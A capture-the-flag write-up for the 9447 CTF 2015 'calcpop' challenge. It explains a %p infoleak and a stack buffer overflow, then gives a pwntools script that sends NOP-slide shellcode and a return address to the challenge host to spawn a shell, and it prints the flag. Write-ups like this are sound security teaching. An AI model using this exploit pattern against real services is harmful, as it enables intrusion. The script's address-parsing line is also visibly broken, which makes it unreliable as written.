calcpop
[9447ctf, 2015]
- Category: Exploitation
- Points: 80
- Solves: 174
- Description:
See if you can pop this calc.
Running at calcpop-4gh07blg.9447.plumbing port 9447
calcpop.tar.gz 42928687007cc7a92fc0ac6028cf8f6
Write-up
We can connect to the challenge and send it two numbers, which it will add for
us. If we send something without a space, it will tell us the address of
our input, because instead of %s
there is a %p
in the format string:
Missing a space; your input was %p\n
Such a nice a infoleak. After some poking around I found that it is a straight forward stack based buffer overflow:
{% highlight bash %} $ python -c 'import sys; sys.stdout.write("A"*256)' | nc calcpop-4gh07blg.9447.plumbing 9447 Welcome to calc.exe Missing a space; your input was 0xff8b44d0 Missing a space; your input was 0xff8b44d0 timeout: the monitored command dumped core /usr/local/bin/ctf_wrapper.sh: line 6: 13607 Segmentation fault timeout 300 $1 $2 {% endhighlight %}
Also using checksec we can see that NX
is disabled.
{% highlight bash %} $ checksec --file calcpop RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH calcpop {% endhighlight %}
Yeah exploitation like it's the 90's. So we put shellcode on the stack and overwrite the return address with the address we got from the infoleak. This is pretty straightforward using a pwntools script.
The flag was: 9447{shELl_i5_easIEr_thaN_ca1c}
{% highlight python %} #!/usr/bin/env python
from pwn import * # NOQA
context.arch = 'i386'
velf = ELF('./calcpop')
BUFFERSIZE = 128
shellcode = shellcraft.linux.sh() log.info("using shellcode:\n" + shellcode) shellcode = asm(shellcode) nopslide = "\x90" * (BUFFERSIZE - len(shellcode)) payload = nopslide + shellcode
context.log_level = 'debug'
vp = remote('calcpop-4gh07blg.9447.plumbing', 9447) #vp = process('./calcpop') #gdb.attach(vp)
vp.recvline() vp.sendline("") s = vp.recvline().strip() leakedaddr = s.split(" ")-1 leakedaddr = long(leakedaddr, 16) log.info("leaked the addr " + hex(leakedaddr))
retaddr = leakedaddr + 20 log.info("trying return to " + hex(retaddr))
payload += (p32(retaddr)) * 10 #payload += (p32(0x41414141)) * 100
vp.sendline(payload) vp.clean_and_log() vp.sendline("exit") vp.clean_and_log() vp.sendline("pwd;ls;whoami;") vp.clean_and_log() vp.interactive()
{% endhighlight %}